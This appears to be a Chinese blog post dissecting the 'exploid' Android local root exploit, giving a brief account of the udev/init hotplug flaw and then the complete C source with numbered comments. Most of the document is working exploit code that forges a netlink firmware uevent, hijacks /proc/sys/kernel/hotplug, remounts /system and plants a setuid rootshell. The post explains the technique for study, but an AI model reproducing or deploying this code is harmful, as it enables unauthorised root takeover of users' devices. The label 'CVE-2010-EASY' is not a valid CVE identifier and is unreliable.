Android root源代码剖析(基于CVE-2010-EASY)

Android root提权漏洞CVE-2010-EASY的源代码剖析,基于udev热拔插机制实现root提权。

linux系统由udev提供系统设备的管理,如提供热拔插usb设备等等。而Android把udev的工作移交给init进程。而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息。因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限。

提权之后rootshell是一个权限为04711的属于root的可执行程序,普通用户也可以运行该程序,由于S位置位,当普通用户执行该程序时有效用户ID为root,从而可以运行root用户才能执行的程序和操作,从而提权成功。
 
源码剖析如下(程序执行的顺序已注释):


#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/mount.h>
 
int main(int argc, char **argv, char **env)
{
        char buf[512], path[512];
        int ofd;
        struct sockaddr_nl snl;
        struct iovec iov = {buf, sizeof(buf)};
        //(1)初始化要发送的数据,通过NET_LINK机制(参见man 手册,可以与内核实现近似于套接字的通信方式)发送
        struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
        int sock;
        char *basedir = NULL;
 
 
        /* I hope there is no LD_ bug in androids rtld :) */
        //(11)root后执行rootshell则执行该步,直接创建一个有root权限的shell
        if (geteuid() == 0 && getuid() != 0)
                rootshell(env);
 
    //(2)获取程序的路径,为/data/local/tmp/exploid
        if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
                die("[-] readlink");
 
        if (geteuid() == 0) {
        //(9)有内核加载热拔插固件时再次执行该应用,此时有效id为为0,有root权限
                clear_hotplug();
                /* remount /system rw */
                
                //(10)拷贝自己到/system/bin/目录下成为rootshell,并改变sh的文件属性
                remount_system("/system");
                if (copy(path, "/system/bin/rootshell") != 0)
                        chmod("/system/bin/sh", 04755);
                else
                        chmod("/system/bin/rootshell", 04711);
                for (;;)
                        sleep(3);
        }
 
        printf("[*] Android local root exploid (C) The Android Exploid Crew\n");
    //(3)改变工作目录,没有root权限,只可以在少数目录执行
        basedir = "/sqlite_stmt_journals";
        if (chdir(basedir) < 0) {
                basedir = "/data/local/tmp";
                if (chdir(basedir) < 0)
                        basedir = strdup(getcwd(buf, sizeof(buf)));
        }
        printf("[+] Using basedir=%s, path=%s\n", basedir, path);
        printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");
 
        memset(&snl, 0, sizeof(snl));
        snl.nl_pid = 1;
        snl.nl_family = AF_NETLINK;
        
    //(4)构建一个NETLINK的套接字
        if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
                die("[-] socket");
 
    //(5)创建要热拔插的文件,其中hotplug文件中存储的为/data/local/tmp/exploid
        close(creat("loading", 0666));
        if ((ofd = creat("hotplug", 0644)) < 0)
                die("[-] creat");
        if (write(ofd, path , strlen(path)) < 0)
                die("[-] write");
        close(ofd);
        
        //(6)建立一个data文件,为指向系统的hotplug的符号链接
        symlink("/proc/sys/kernel/hotplug", "data");
        
        //(7)构建发送给内核的信息,内容为进行热拔插,固件位置在/data/local/tmp/hotplug
        snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
                 "SUBSYSTEM=firmware%c"
                 "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
        printf("[+] sending add message ...\n");
        
        //(8)发送该信息
        if (sendmsg(sock, &msg, 0) < 0)
                die("[-] sendmsg");
        close(sock);
        printf("[*] Try to invoke hotplug now, clicking at the wireless\n"
               "[*] settings, plugin USB key etc.\n"
               "[*] You succeeded if you find /system/bin/rootshell.\n"
               "[*] GUI might hang/restart meanwhile so be patient.\n");
        sleep(3);
        return 0;
}
 
void die(const char *msg)
{
        perror(msg);
        exit(errno);
}
 
 
int copy(const char *from, const char *to)
{
        int fd1, fd2;
        char buf[0x1000];
        int r = 0;
 
        if ((fd1 = open(from, O_RDONLY)) < 0)
                return -1;
        if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
                close(fd1);
                return -1;
        }
 
        for (;;) {
                r = read(fd1, buf, sizeof(buf));
                if (r <= 0)
                        break;
                if (write(fd2, buf, r) != r)
                        break;
        }
 
        close(fd1);
        close(fd2);
        sync(); sync();
        return r;
}
 
 
void clear_hotplug()
{
        int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
        write(ofd, "", 1);
        close(ofd);
}
 
 
void rootshell(char **env)
{
        char *sh[] = {"/system/bin/sh", 0};
 
        // AID_SHELL
        if (getuid() != 2000)
                die("[-] Permission denied.");
 
        setuid(0); setgid(0);
        execve(*sh, sh, env);
        die("[-] execve");
}
 
 
int remount_system(const char *mntpoint)
{
        FILE *f = NULL;
        int found = 0;
        char buf[1024], *dev = NULL, *fstype = NULL;
 
        if ((f = fopen("/proc/mounts", "r")) == NULL)
                return -1;
 
        memset(buf, 0, sizeof(buf));
        for (;!feof(f);) {
                if (fgets(buf, sizeof(buf), f) == NULL)
                        break;
                if (strstr(buf, mntpoint)) {
                        found = 1;
                        break;
                }
        }
        fclose(f);
        if (!found)
                return -1;
        if ((dev = strtok(buf, " \t")) == NULL)
                return -1;
        if (strtok(NULL, " \t") == NULL)
                return -1;
        if ((fstype = strtok(NULL, " \t")) == NULL)
                return -1;
        return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}